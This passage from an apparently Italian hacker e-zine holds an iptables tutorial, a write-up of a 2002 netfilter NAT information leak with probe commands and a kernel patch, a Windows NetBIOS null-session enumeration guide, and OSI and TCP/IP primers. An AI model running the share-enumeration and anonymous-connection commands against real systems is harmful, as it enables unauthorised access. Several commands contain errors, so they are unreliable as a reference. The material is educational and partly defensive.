policy, viene applicata ad una regola e agisce nei confronti di un'intera catena. Si intende la politica adottata da una catena, ogni catena ne ha una di default: ACCEPT Per esempio per poter svelare la sua applicazione nella catena FORWARD si esegue il seguente comand: $iptables -P FORWARD -j DROP Questa regola cambia la policy FORWARD di default in DROP. Per capire meglio quest'ultimo passaggio riporto di seguito un piccolo firewall con policy DROP in OUTPuT $iptables -A INPUT -s 127.0.0.1/255.0.0.0 -j ACCEPT $iptables -A INPUT -s 194.168.0.0/255.255.255.0 -j ACCEPT $iptables -A INPUT -p tcp --dport 22 -j ACCEPT $iptables -A INPUT -p icmp --icmp-type echo-replay -j ACCEPT $iptables -P INpUT -j DROP Beh si ammetto che questo firewall ha una policy piuttosto "paranoica" visto che non accetta nessun genere di pacchetto dall'esterno se non quelli espressamente specificati nelle regole della catena, ma credo che abbia reso l'idea. Riporto di seguito le varie regole usate: regola 1 ==> specifica che tutti i pacchetti provenienti dal nostro PC locale devono essere accettati, altrimenti il nostro buon iptables blocca anche quelli regola 2 ==> tutti i pacchetti provenienti dalla nostra piccola lan vengono accettati regola 3 ==> lascia passare dall'esterno soltanto pacchetti destinati alla porta 22 (ssh) regola 4 ==> accetta dall'esterno soltanto le risposte dei ping, infine c'è la policy che rende raggiungibile dall'esterno solo la porta 22 Elenco di seguito le varie caratteristiche fondamentali di Targets e Policy ACCEPT ==> accetta i pacchetti DROP ==> rifiuta i pacchetti REJECT ==> come sopra, unica differenza restituisce all'host un messaggio d'errore che può essere cambiato con la seguente opzione: --reject-with-type QUEUE ==> accoda i pacchetti per elaborazioni "userspace" Ogni target ha bisogno di uno specifico modulo, vediamo quali sono i principali: LOG ==> efettua il logging dei pacchetti --log-level ==> specifica il livello di logging --log-prefix ==> aggiunge un massimo di 14 caratteri all'inizio del log per identificarne il tipo --log-tcp-options ==> logga il campo options, valido per pacchetti tcp --lo-ip-options ==> logga il campo options, valido per pacchetti ip MARK ==> associa al pacchetto un valore MARK --set-mark "valorenumerico" MIRROR ==> inverte gli indirizzi sorgente/destinazione dei pacchetti SNAT ==> Source Nat, richiede la tabella Nat ed è valido nella catena POSTROUTING DNAT ==> Destination NAt, valido per PREROUTING MASQUERADE ==> valido nella tabella POSTROUTING REDIRETC ==> effettua un rediret su pacchetti all'host locale, valido solo per PREROUTING e OUTPUT 9) Costruire un firewall ========================= Ora vi spiegherò come costruire un firewall semplice semplice $iptables -F INPUT $iptables -F OUTPUT $iptables -F FORWARD Dopo aver messo le nostre amate catene andiamo a costruire le regole; $iptables -A INPUT -s 127.0.0.1 -j ACCEPT $iptables -A INPUT -s 194.168.0.0/24 -j ACCEPT $iptables -A INPUT -p tcp --dport 6000 -j DROp $iptables -A INPUT -p all --dport 137:139 -j DROP $iptables -A INPUT -p icmp --icmp-type echo-request -j DROP $iptables -A INPUT -p icmp ! --icmp-type echo-reply -j DROP $iptables -A INPUT -p udp --dport 33435:33523 -j DROP $iptables -A FORWARD -p tcp --syn -m limit -limit 3/s -j ACCEPT $iptables -A FORWARD -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit -limit 1/s -j ACCEPT Ora cerchiamo di vedere quello che abbiamo fatto, le prime due regole sono uguali a quelle usate precedentemente, cioè specificano che tutti i pacchetti provenienti dal nostro PC locale devono essere accettati e l'altra specifica che tutti i pacchetti provenienti dalla nostra piccola lan vengono accettati. Andiamo ad analizzare la regola tre e quattro, esse specificano di non far passare nessun pacchetto diretto al nostro X server o a samba. La cinque rifiuta gli echo-request, mentre la sei risponde solo ai echo-reply inviati dal nostro host. In FORWARD la prima regola ci protegge dai syn-floods e la seconda da scans remoti sospetti. Come si può notare soltanto la nostra rete LAn raggiunge tutti i servizi del nostro PC mentre su internet soltanto il nostro ssh è stato reso raggiungibile con delle semplici precauzioni. Con questo piccolo firewall il nostro PC non ha nessun problema a navigare in internet, chattare e prelevare e-mail 10) Security on Iptables ========================= Prima di lasciarvi voleco aggiungere quest'ultimo paragrafo, per sottolineare che anche netfilter (o iptables per chi non l'avesse capito :)) ha avuto i suoi bug nell'ambito sicurezza. Mi torna in mente un piccolo bug inerente al Masquerade della rete. un utente poteva rivelare i computer nattati che erano mascherati dietro un firewall inviando pacchetti TCP con delle specifiche TTL. Il bug certo è stato risolto ma qualche utente o qualche admin potrebbe averlo tralasciato. Per chi invece non lo avesse ancora risolto può trovare tutto il neccessario su www.netfilter.org, oppure ricorrere alla seguente regola $ iptables -A OUTPUT -m state -p icmp --state INVALID -j DROP In questo modo si evita di rilasciare informazioni pericolose tramite il firewall. Il più recente bug di iptables risale al 5 maggio 2002 dove Philippe Biondi scopri un bug esistente nella realizzazione NAT. In pratica quando il primo pacchetto di una connessione sta colpendo una regola NAT esso riceve un reply con un mesaggio di errore ICMP solo che il pacchetto di ip sotto il messaggio di errore nel icmp non è esattamente un NAT. Questo porta ad essere in grado di scoprire su quale porta un host è NAT e dove i pacchetti realmente andranno a finire. I sistemi vulnerabili a questo bug sono tutti i kernel patchati dal pacchetto iptables ipables-1.2.6a, tutti i kernel del >= 2.4.4 e anche la 2.4.19-pre6. Ma vediamo di capire meglio: Prendiamo una macchina (172.16.1.40) con porta DNAT 666 a 172.16.3.26:22 iptables -t nat -A PREROUTING -p tcp --dport 666 -j DNAT --to 172.16.3.26:22 Quando un host senda i pacchetti che moriranno su 172.16.1.40 : hping -t 1 --syn -p 666 172.16.1.40 Questo invece è un pacchetto icmp che otterremo da 172.16.1.40 : 17:07:46.709230 172.16.1.40 > 172.16.1.28: icmp: time exceeded in-transit 0x0000 45c0 0044 eaa6 0000 ff01 75f1 ac10 0128 E..D......u....( 0x0010 ac10 0118 0b00 516d 0000 0000 4500 0028 ......Qm....E..( 0x0020 b0f3 0000 0106 ac8a ac10 0118 ac10 031a <-+ ................ 0x0030 04bd 0016 3206 3ec0 0490 00b4 5002 0200 | ....2.>.....P... 0x0040 d6b2 00^0 | .... | 172.16.3.26 +-- port 22 Riporto di seguito la patch per quest'ultima vulnerabilità: # ./nmap -sS -P0 xxx.xxx.xxx.xxx -p 22,23,666,667 -t 9 Starting nmap V. 2.54BETA32 ( www.insecure.org/nmap/ ) Interesting ports on xxx.xxx.xxx.xxx: Port State Service 22/tcp open ssh 23/tcp filtered telnet 666/tcp UNfiltered unknown DNAT to 192.168.8.10:22 667/tcp UNfiltered unknown DNAT to 192.168.26.10:22 Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds ---------------------------------------------------------------------- Copyright (c) Cartel Sécurité This document is copyrighted. It can't be edited nor republished without explicit consent of Cartel Sécurité. For more informations, feel free to contact us. http://securite.cartel-securite.fr/ ---------------------------------------------------------------------- diff -urN linux-2.4.19-pre6.orig/include/linux/skbuff.h linux-2.4.19-pre6-nf- 01/include/linux/skbuff.h --- linux-2.4.19-pre6.orig/include/linux/skbuff.h Sun Apr 7 15:27:29 2002 +++ linux-2.4.19-pre6-nf-01/include/linux/skbuff.h Fri Apr 12 00:52:31 2002 @@ -1144,6 +1144,17 @@ if (nfct) atomic_inc(&nfct->master->use); } +static inline struct nf_ct_info * +skb_nf_ct(struct sk_buff *skb) +{ + return skb->nfct; +} +#else +static inline struct nf_ct_info * +skb_nf_ct(struct sk_buff *skb) +{ + return NULL; +} #endif #endif /* __KERNEL__ */ diff -urN linux-2.4.19-pre6.orig/include/net/ip.h linux-2.4.19-pre6-nf- 01/include/net/ip.h --- linux-2.4.19-pre6.orig/include/net/ip.h Sat Apr 28 22:01:26 2001 +++ linux-2.4.19-pre6-nf-01/include/net/ip.h Fri Apr 12 00:52:31 2002 @@ -66,6 +66,7 @@ extern struct ip_ra_chain *ip_ra_chain; extern rwlock_t ip_ra_lock; +struct nf_ct_info; /* IP flags. */ #define IP_CE 0x8000 /* Flag: "Congestion" */ @@ -106,7 +107,8 @@ unsigned length, struct ipcm_cookie *ipc, struct rtable *rt, - int flags); + int flags, + struct nf_ct_info *nfct); /* * Map a multicast IP onto multicast MAC for type Token Ring. diff -urN linux-2.4.19-pre6.orig/net/ipv4/icmp.c linux-2.4.19-pre6-nf- 01/net/ipv4/icmp.c --- linux-2.4.19-pre6.orig/net/ipv4/icmp.c Sun Apr 7 15:27:29 2002 +++ linux-2.4.19-pre6-nf-01/net/ipv4/icmp.c Fri Apr 12 00:52:31 2002 @@ -370,7 +370,7 @@ icmp_param->data.icmph.code)) { ip_build_xmit(sk, icmp_glue_bits, icmp_param, icmp_param->data_len+icmp_param->head_len, - &ipc, rt, MSG_DONTWAIT); + &ipc, rt, MSG_DONTWAIT, NULL); } ip_rt_put(rt); out: @@ -528,7 +529,7 @@ ip_build_xmit(icmp_socket->sk, icmp_glue_bits, &icmp_param, icmp_param.data_len+sizeof(struct icmphdr), - &ipc, rt, MSG_DONTWAIT); + &ipc, rt, MSG_DONTWAIT, skb_nf_ct(skb_in)); ende: ip_rt_put(rt); diff -urN linux-2.4.19-pre6.orig/net/ipv4/ip_output.c linux-2.4.19-pre6-nf- 01/net/ipv4/ip_output.c --- linux-2.4.19-pre6.orig/net/ipv4/ip_output.c Sun Apr 7 15:27:29 2002 +++ linux-2.4.19-pre6-nf-01/net/ipv4/ip_output.c Fri Apr 12 00:52:31 2002 @@ -405,6 +405,22 @@ return -EHOSTUNREACH; } +#ifdef CONFIG_NETFILTER +/* If the original packet is part of a connection, but the connection + is not confirmed, our manufactured reply will not be associated + with it, so we need to do this manually. */ +static void nfct_attach(struct sk_buff *new_skb, struct nf_ct_info *nfct) +{ + void (*attach)(struct sk_buff *, struct nf_ct_info *); + + /* Avoid module unload race with ip_ct_attach being NULLed out */ + if (nfct && (attach = ip_ct_attach) != NULL) + attach(new_skb, nfct); +} +#else +static void nfct_attach(struct sk_buff *new_skb, struct nf_ct_info *nfct) { } +#endif + /* * Build and send a packet, with as little as one copy * @@ -434,7 +450,8 @@ unsigned length, struct ipcm_cookie *ipc, struct rtable *rt, - int flags) + int flags, + struct nf_ct_info *nfct) { unsigned int fraglen, maxfraglen, fragheaderlen; int err; @@ -599,6 +616,7 @@ nfrags++; + nfct_attach(skb, nfct); err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, skb->dst->dev, output_maybe_reroute); if (err) { @@ -633,7 +651,8 @@ unsigned length, struct ipcm_cookie *ipc, struct rtable *rt, - int flags) + int flags, + struct nf_ct_info *nfct) { int err; struct sk_buff *skb; @@ -652,7 +671,7 @@ * Check for slow path. */ if (length > rt->u.dst.pmtu || ipc->opt != NULL) - return ip_build_xmit_slow(sk,getfrag,frag,length,ipc,rt,flags); + return ip_build_xmit_slow(sk,getfrag,frag,length,ipc,rt,flags,nfct); } else { if (length > rt->u.dst.dev->mtu) { ip_local_error(sk, EMSGSIZE, rt->rt_dst, sk->dport, rt- >u.dst.dev->mtu); @@ -710,6 +729,7 @@ if (err) goto error_fault; + nfct_attach(skb, nfct); err = NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, skb, NULL, rt->u.dst.dev, output_maybe_reroute); if (err > 0) @@ -977,7 +997,8 @@ sk->protinfo.af_inet.tos = skb->nh.iph->tos; sk->priority = skb->priority; sk->protocol = skb->nh.iph->protocol; - ip_build_xmit(sk, ip_reply_glue_bits, arg, len, &ipc, rt, MSG_DONTWAIT); + ip_build_xmit(sk, ip_reply_glue_bits, arg, len, &ipc, rt, MSG_DONTWAIT, + NULL); bh_unlock_sock(sk); ip_rt_put(rt); diff -urN linux-2.4.19-pre6.orig/net/ipv4/netfilter/ip_nat_core.c linux-2.4.19- pre6-nf-01/net/ipv4/netfilter/ip_nat_core.c --- linux-2.4.19-pre6.orig/net/ipv4/netfilter/ip_nat_core.c Sun Apr 7 15:27:29 2002 +++ linux-2.4.19-pre6-nf-01/net/ipv4/netfilter/ip_nat_core.c Fri Apr 12 00:52:31 2002 @@ -780,6 +780,18 @@ } else return NF_ACCEPT; } +/* + * Decide whether to map inner header of an ICMP reply, including when + * we generate the reply ourselves. + */ +static inline int +map_innards(unsigned int maniphook, unsigned int hooknum) +{ + return (maniphook == opposite_hook[hooknum] + || (hooknum == NF_IP_LOCAL_OUT + && HOOK2MANIP(maniphook) == IP_NAT_MANIP_SRC)); +} + unsigned int icmp_reply_translation(struct sk_buff *skb, struct ip_conntrack *conntrack, @@ -837,7 +849,7 @@ packet, except it was never src/dst reversed, so where we would normally apply a dst manip, we apply a src, and vice versa. */ - if (info->manips[i].hooknum == opposite_hook[hooknum]) { + if (map_innards(info->manips[i].hooknum, hooknum)) { DEBUGP("icmp_reply: inner %s -> %u.%u.%u.%u %u\n", info->manips[i].maniptype == IP_NAT_MANIP_SRC ? "DST" : "SRC", diff -urN linux-2.4.19-pre6.orig/net/ipv4/netfilter/ipt_REJECT.c linux-2.4.19- pre6-nf-01/net/ipv4/netfilter/ipt_REJECT.c --- linux-2.4.19-pre6.orig/net/ipv4/netfilter/ipt_REJECT.c Sun Apr 7 15:27:29 2002 +++ linux-2.4.19-pre6-nf-01/net/ipv4/netfilter/ipt_REJECT.c Fri Apr 12 00:52:31 2002 @@ -32,7 +32,8 @@ attach(new_skb, nfct); } -/* Send RST reply */ +/* Send RST reply: we want to use the dest as the RST src ip, so can't + use normal RST routine. --RR */ static void send_reset(struct sk_buff *oldskb, int local) { struct sk_buff *nskb; @@ -153,6 +154,7 @@ kfree_skb(nskb); } +#if 0 static void send_unreach(struct sk_buff *skb_in, int code) { struct iphdr *iph; @@ -270,6 +272,12 @@ NF_HOOK(PF_INET, NF_IP_LOCAL_OUT, nskb, NULL, nskb->dst->dev, ip_finish_output); } +#else +static void send_unreach(struct sk_buff *skb_in, int code) +{ + icmp_send(skb_in, ICMP_DEST_UNREACH, code, 0); +} +#endif static unsigned int reject(struct sk_buff **pskb, unsigned int hooknum, diff -urN linux-2.4.19-pre6.orig/net/ipv4/raw.c linux-2.4.19-pre6-nf- 01/net/ipv4/raw.c --- linux-2.4.19-pre6.orig/net/ipv4/raw.c Sun Apr 7 15:27:29 2002 +++ linux-2.4.19-pre6-nf-01/net/ipv4/raw.c Fri Apr 12 00:54:14 2002 @@ -427,7 +427,8 @@ if (!ipc.addr) ipc.addr = rt->rt_dst; err = ip_build_xmit(sk, sk->protinfo.af_inet.hdrincl ? raw_getrawfrag : - raw_getfrag, &rfh, len, &ipc, rt, msg->msg_flags); + raw_getfrag, &rfh, len, &ipc, rt, msg->msg_flags, + NULL); done: if (free) diff -urN linux-2.4.19-pre6.orig/net/ipv4/udp.c linux-2.4.19-pre6-nf- 01/net/ipv4/udp.c --- linux-2.4.19-pre6.orig/net/ipv4/udp.c Sun Apr 7 15:27:29 2002 +++ linux-2.4.19-pre6-nf-01/net/ipv4/udp.c Fri Apr 12 00:52:32 2002 @@ -548,7 +548,7 @@ (sk->no_check == UDP_CSUM_NOXMIT ? udp_getfrag_nosum : udp_getfrag), - &ufh, ulen, &ipc, rt, msg->msg_flags); + &ufh, ulen, &ipc, rt, msg->msg_flags, NULL); out: ip_rt_put(rt); E questo credo sia tutto...se mi verrà in mente qualcos'altro ve lo dirò :) SPECIAL THX ============ - Impossibile dimenticare i special thx allo staff UIHA, quali BRANTON, IMPERIORX e THE KING che senza di loro non avrei mai scritto un tutorial così - Volevo ringraziare anche n0body88, Nik, Lordshinvor - Virgeles e i chan #campaniahack e #quisiparlacomplicato Alla prox!! :) ::[MARSIO]:: [sergy51@inwind.it]::   ___ ___ ___ ___ ____   | | | | | || | | | \   | | | | | || |__| | \   | |__| | | || __ | @ \   \____/ |_||_| |_|_|\_\     ::[ Research & Development ]:: ::[ www.uiha.tk ]:: <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> --------------------------- ___________________________________ |Questo articolo lo dedico ad un mio| |amico che hanno ammazzato| |freddandolo davanti agli occhi dei| |suoi figli perchè non aveva| |voluto pagare il pizzo... Antonio| |Corbisiero ti giuro che ho| |ancora i brividi... voglio però| |ricordarti come eri... bravo| |lavoratore e ottimo padre di| |famiglia... 7 giugno 2003| |Scusami se non ho fatto di meglio..| +-----------------------------------+ ----------------------------------------------------------- ---> è preferibile che non lo leggiate... E' una schifo di giornata del cazzo, non ho niete da fare, non sono riuscito a trovarmi una ragazza, sono depresso e spero che Raul Chiesa sia la mia fonte ispiratrice... perciò non rompete i coglioni l'argomento già è difficile, quindi se volete state zitti, spegnete quella cazzo di radio, chiudete la porta a chiave e preparatevi a maciullare il vostro povero cervello devastato da ricordi inutili senza alcuno scopo costruttivo nella vita se non quello di sviluppare i vostri istinti animali già troppe volte soppressi da questa società del cazzo dove tutti cazzeggiano... --------------------------- Le condivisione di rete di windows... sono vulnerabili... lo so ke questa non è una novità comunque ve l'ho detto... e questo articolo è un approfondimento di quello che precedentemente ho detto... dalla versione windows 3.x alla XP.. bill ancora deve capire che ci sta qualcosa che nn funge nei suoi sitemi del bip , non so perchè si ostina a fare stronzate... allora alcuni di voi più smaliziati diranno ma la versione 2000 bla bla bla... fermate i bla bla bla infatti di default la versione 2000, anche se di solito il protocollo TCP\IP viene eseguito in forma nativa, installa a modulo standard l'attivazione del NetBIOS over TCP\IP, vi chiederete perchè... semplicemente per mantenere la compatibilità con le altre versioni... hihih ma rotfl...lol! ---< NetBIOS & SMB >---------------------------------------------- Gli SO microrotflt affidano al protocollo SMB e al NetBIOS la possibilità di condividere cartelle, stampanti, file, ecc... Diciamo che la vulnerabilità deriva dallo stretto rapporto che hanno i protocolli SMB (Server Message Block) o CIFS (Common Internet File System) con il NetBIOS... Cos'è NetBIOS e cosa fa? E' risaputo che il collegamento tra Host in reti Microrotflt si stabilisca utilizzando il nome NetBIOS per indetificare gli host presenti in rete.. I nomi NetBIOS sono unici, non è che due host possono avere lo stesso nome... sono massimo composti da 16 caratteri alfanumerici... diciamo che questi nomi identificano proprio le risorse di rete offerte...questo nome si attiva quando qualche client accede ad esso (richiesta)... ---< Comunicazione >---------------------------------------------- Un utente cerca di usufrire di un servizio presente in rete, quindi il suo host fa una ricerca e se trova chiede... ma cosa trova.. il nome del servizio sotto forma di nome NetBIOS. Quindi il NetBIOS a questo punto chiede anch'esso se vuoi che io e te stabiliamo un rapporto devi darmi il tuo IP... risolto l'IP si attua la discussione tra i due host via TCP\IP in una sessione NetBIOS... A questo punto magari con un account si può accedere a quel determinato servizio. E lo scambio tra file avviene grazie al protocollo SMB. Il NetBIOS attraverso una serie di comandi standard di sessione unisce e idica quali debbano essere le regole per stabilire questo dialogo, scambio.. chiamatelo come volete... ---< Curiosando si Hackera>--------------------------------------- Diciamo che se non vogliamo usare software complessi che in effetti eseguono i comandi che noi dovremmo scrivere a mano in dos, posssimo capire se il nostro sistema è vulnerabile, come?? "C:\ nbtstat -A IndirizzoIP" se avete l'ip... "C:\ nbtstat -a host" se avete l'host... Ora se il NetBIOS è attivo riceverete una risposta se è disattivo troverete una risposta del tipo "Host non trovato", quindi inutile andare avanti... Se il NetBios è attivo potrete notare noterete tra le varie condivisioni attive una particolare... enumerata dal NetBios Code <20>, Bingo il nome che sta di fianco al numerino 20 è il nome del sistema... a questo punto dobbiamo vedere quali sono le condivisioni disponibili quali sono e se sono accessibili , come? "C:\ net view \\"nome del server comparso di fianco al numerino" e allora vi è uscito qualcosa?... hihihi... ci sta qualcosina che potete leggere?? Ma non è finita qui infatti per la questione citata all'inizio negli NT e 2000 attraverso la porta UDP 139, servizio gentilmente offerto dal NetBIOS anche utenti se account possono creare connessioni senza autentificazioni come??? Ecco la vostra connessione Null Session... C:\ net use \\" IP "\IP$ "" /user:"" beh si può dire che l'explorer.exe sfrutta questo account per enumerare l'identificazione di server remoti... ---< Null Session >----------------------------------------------- Chiariamo una cosa l'account Null Session non l'hanno fatto apposta per farmi parlare... è necessario quando tipo una macchina deve ricevere dei dati di sitema persi da un'altra... oppure per prelevare dati da sfruttare tipo account di altri utenti e altro... ---< Difesa >------------------------------------------------- Diciamo che la cosa più banale sarebbe quella di disattivare le condivisioni di rete se non ci servono ma possimo inserendo alcune restrizioni permettere le entrate solo in determinate directory... Specifico per in NullSession c'è una restrizione che è possibile modificare inserendo una chiave nel regedit.exe "HKLM/System/CurrentControlSet/Control/LSA/RestrictAnonymous=1" Spero di avervi fornito alcune delucidazioni su queste condivisioni di rete non protette e del perchè non sono protette ... ora scusate ma devo andare al gabinetto... ----------------------------------------- <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> ------------------------------------------------------------------ titolo articolo: IL MODELLO OSI/ISO categoria: NETWORKING autore: {N}oRt{ON} e-mail: webmaster@lagni.com chan: irc.azzurra.org #sistemisti ------------------------------------------------------------------ Il modello OSI (Open System Interconnection) è un modello che serve per la divisione in livelli della gestione di una rete e nel 1984 è diventato parte degli standard ISO (International Standard Organizzation). Come dicevamo, il modello OSI divide la gestione reti in sette livelli: 1-livello fisico: è un livello fondamentale e riguarda la trasmissione di dati tramite cavi. 2-livello di collegamento dati: affidabilità del trasferimento dei dati attraverso il livello fisico. Questo livello ha il compito di sincronizzare i dati, controllare il loro flusso e riconoscere gli errori. 3-livello di rete: funge da interfaccia tra il livello fisico e quello del collegamento dati. 4-livello di trasporto: livello molto importante per il trasferimento di pacchetti in una LAN. 5-livello di sessione: fra le applicazioni fornisce un metodo standard per lo scambio dei dati. 6-livello di presentazione: livello che indica il formato che i dati devono avere per poter essere utilizzati da altri dispositivi. 7-livello di applicazione: livello molto importante che si riferisce a programmi con funzioni e aspetti standard. Esaminiamo bene ora tutti i livelli, uno per uno: LIVELLO 7: APPLICAZIONE È il livello più alto del modello OSI, interagisce con l’utente e tratta direttamente le applicazioni (application program interface). Nel livello 7 risiedono il SO di rete e tutte le altre applicazioni quali posta elettronica, condivisione file, gestione database, etc etc. Gli standard di questo layer sono SAA (System Application Architecture) di IBM e anche X.400 Message Handling. Come abbiamo già detto questo è probabilmente il livello più importante poiché in diretto contatto con l’user. LIVELLO 6: PRESENTAZIONE Questo livello riguarda riguarda il formato dati e ha la capacità di gestire i formati speciali e la crittografia. Oltre a questo, qui risiedono anche i codici di controllo, set caratteri e loro funzioni grafiche. Inoltre il protocollo HTTP (per “formattare” le pagine web) è un protocollo tipico appartenente a questo livello. Capita anche che i sistemi operativi di rete usino codifiche diverse, tipo EBCDIC oppure ASCII. In poche parole il livello sei di presentazione serve per l’interpretazione dei dati da parte del ricevente. LIVELLO 5: SESSIONE Anche questo livello è molto importante perché permette a due applicazioni (o alle sue parti) di comunicare attraverso la rete per eseguire azioni che riguardano la sicurezza e tutta l’ amministrazione. LIVELLO 4: TRASPORTO A questo quarto livello, come si può capire dal nome, è delegato il compito del trasporto dati. Infatti, si occupa di fornire un trasferimento dati sufficientemente affidabile, correggendo anche gli eventuali errori. Fraziona tutti i messaggi in pacchetti, controlla il loro ordine e i loro errori. Questo quarto livello viene chiamato anche “end-to-end” perché è il primo che agisce indipendentemente dalla tipologia di rete sulla quale è situato. I protocolli principali di questo livello sono TCP (Transmission Control Protocol) e UDP(User Datagram Protocol). Il TCP si occupa della scomposizione e ricomposizione dei dati, ma anche di controllarli, infatti, gli eventuali dati danneggiati o persi vengono ritrasmessi. L’UDP invece non esegue alcun controllo. LIVELLO 3: RETE Il livello 3, chiamato anche “Network”, si occupa del percorso che devono fare tutti i pacchetti dati, cioè indica la vera e propria “strada fisica”. Diciamo che ci sono due elementi hardware fondamentali: per primi gli switch che filtrano e direzionano il traffico, quindi i pacchetti dati e le schede di rete che li formatta, tanto da renderli “riconoscibili” e in un certo senso compatibili con i programmi che hanno il compito di direzionarli. Questo terzo livello utilizza maggiormente il protocollo IP, difatti il 90% delle reti dispone di questo protocollo per l’indirizzamento e comunque tutta la gestione dei pacchetti viaggianti in rete (e anche per la definizione di indirizzi). Il protocollo IP inoltre, viene usato anche nel livello transport, quindi nel quarto. LIVELLO 2: COLLEGAMENTO DATI Questo livello gestisce il flusso dati fra i vari sistemi e indica come collegare tra di loro i caratteri in modo da formare il messaggio, inoltre li analizza e li controlla prima del loro invio.Utilizza vari protocolli, quali: BSC (Binary Sinchronous Communications Protocol), ADCCP (Advanced Data Communications Control Procedures) e HDLC (Hight-Level Data Link Control) etc etc. Quest’ultimi servono semplicemente per dirigere i messaggi verso la giusta direzione e a verificare che siano stati effettivamente ricevuti. Per apprendere meglio, tutto questo procedimento può essere paragonato a quello analogo del protocollo FTP, che individua gli errori e ritrasmette i dati durante lo scambio dei file. LIVELLO 1: FISICO Finalmente siamo arrivati al level one! Dal nome capiamo già che si occupa totalmente della parte fisica della trasmissione dati, cioè hardware. Infatti i cavi coassiali, le fibre ottiche, le schede ethernet… sono elementi fondamentali di questo livello. Gli standard sono stati decisi da ISO, ma anche da CCITT. Ognuno di questi livelli, interagisce pienamente con quello sotto. Ciò significa che Applicazione interagisce con Presentazione, Presentazione con Sessione, e cosi via. È meglio dire “riceve dati” al posto di interagire, appunto perché, per funz ionare, il modello OSI permette lo scambio dei dati da un livello a l’altro (sempre rispettando l’ordine del successivo), per poi arrivare all’ultimo, quindi livello fisico. Questo livello fisico passa i dati al livello fisico dell’altro host, che provvederà poi a passare il tutto al livello superiore (e cosi continua il ciclo). Ai dati, ogni volta che passano da un livello all’altro, viene aggiunta una piccola intestazione, ma non possono essere modificati. La suddivisione in livelli del modello OSI può essere paragonata alla suddivisione del protocollo TCP/IP suite. Infatti la suddivisione è simile ma non uguale, vediamo allora la differenza: LIVELLI DEL PROTOCOLLO TCP/IP Livello Application: nel TCP/IP non esistono i livelli sessione e presentation, infatti dopo il transport troviamo direttamente l’application, contenente tutti i protocolli di alto livello,per esempio (quelli prima introdotti e ora i più usati): Telnet, SMTP, FTP, NNTP, DNS e infine HTTP. LIVELLO TRANSPORT: Si occupa della qualità del servizio che offre, quindi il trasporto dei dati, correggendo gli errori. Qui, come nel modello OSI, troviamo due protocolli: TCP e UDP. Con il TCP, di connessione, tutti i dati arrivano nel giusto modo. Spezzetta inoltre il flusso dati e li manda al layer sottostante, quindi al livello Internet. L’UDP (User Datagram Protocol), non è un protocollo di connessione, quindi per niente affidabile, visto che i pacchetti possono arrivare in modo “disordinato” o addirittura non arrivare. LIVELLO INTERNET: Il protocollo di questo livello è l’IP, che si occupa del routing, quindi del direzionamento dei pacchetti. Il compito di questo livello è far viaggiare i pacchetti, in modo da farli giungere a destinazione, anche se magari in un pc di un'altra rete. LIVELLO NETWORK INTERFACE: Ecco l’ultimo livello della suite TCP/IP, chiamato anche “host-to-network layer” poiché invia pacchetti IP nella rete. Qui non esiste un modello fisico, in quanto si usano piattaforme hw, comunque conformi agli standard IEEE 802. I VANTAGGI DELL’OSI La suddivisone in livelli della gestione di una rete, quindi del modello OSI, comporta dei vantaggi: innanzitutto (1)riduce la complessità, grazie alla divisione in livelli stessa, poi (2)standardizza le interfacce o i componenti, (3)facilita la creazione dei componenti, quindi sia software che hardware, (4)assicura l’interoperabilità, quindi consente una gestione indipendente dal tipo di piattaforma (sia hw che sw) e infine (5)velocizza lo sviluppo perché permette l’implementazione di ogni livello indipendentemente da un altro. mi raccomando raga, vi aspetto sul chan #sistemisti sul server irc.azzurra.org ------------------------------------------------------------------ by {N}oRt{ON} ------------------------------------------------------------------ <--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--> +++++++++++++++++++++++++++++++++++++ + Autore: iNs3cT- + + Mail: insectx6@libero.it + + Tema: Protocolli TCP/IP + + +++++++++++++++++++++++++++++++++++++ Salve.. a tutti ragazzi (...) qui è il vostro caro iNs3cT- che scrive, oggi vi parlero' dei protocolli TCP/IP .. inizio subito. Per i + noob (sKerzo), i protocolli definiscono il formato, ma sopratutto l'ordine dei messaggi spediti fra entita' di rete, ma anche le azioni da compiere durante la trasmissione e il ricevimento dei messaggi stessi. Si chiamano protocolli TCP/IP xchè i due principali protocolli sono appunto: TCP (Transmission Control Protocol) e IP (Internet Protocol) ** iniziamo con il classificare i vari tipi di protocolli ** -> IP (Internet Protocol) Questo.. e' un protocollo "Standard" usato per definire la struttura dei pacchetti ed il loro indirizzamento. L'IP pero', e' molto inaffidabile xche' nn vi e' nessun controllo sulla ricezione dei pacchetti.L'IP (address) è un campo composto da 32 bit. I primi permettono di distinguere 5 forme standard identificate da una lettera, dette "classi", le prime 3 classi dell'Ip address contengono sia l'indirizzo di una rete (netid) sia quello di una macchina nella stessa (hostid). In realta' pero' l'indirizzo non identifica una determinata macchina.. ma bensi'la sua connessione alla rete. Questa e' solo una piccola introduzione all'Internet Protocol.. adesso andiamo a vedere gli altri tipi di protocolli: -> ARP (Address Resolution Protocol) In poche parole, serve a mappare, e quindi a determinare gli indirizzi IP indirizzi ethernet.. e quindi x trasmettere messaggi sulla rete locale. i pacchetti ARP si dividono in "arp request"e "arp reply". Un pacchetto ARP e' sempre preceduto da un header Ethernet che viene costruito con la struct ethhdr che si trova in /usr/include/linux/if_ether.h . ecco l'esempio di un pacchetto ARP: struct arphdr { unsigned short ar_hrd; /* format of hardware address */ unsigned short ar_pro; /* format of protocol address */ unsigned char ar_hln; /* length of hardware address */ unsigned char ar_pln; /* length of protocol address */ unsigned short ar_op; /* ARP opcode (command) */ #if 0 /* * Ethernet looks like this : This bit is variable sized however... */ unsigned char ar_sha[ETH_ALEN]; /* sender hardware address */ unsigned char ar_sip[4]; /* sender IP address */ unsigned char ar_tha[ETH_ALEN]; /* target hardware address */ unsigned char ar_tip[4]; /* target IP address */ #endif }; . -> ICMP (Internet Control Message Protocol) l'ICMP serve semplicemente ad informare i destinatari di un determinato errore che si e' causato durante un qualsiasi tentativo di connessione, questi tipi di errori possono fornire informazioni molto importanti riguardo le caratteristiche della rete che ha generato il messaggio ICMP. Infatti la 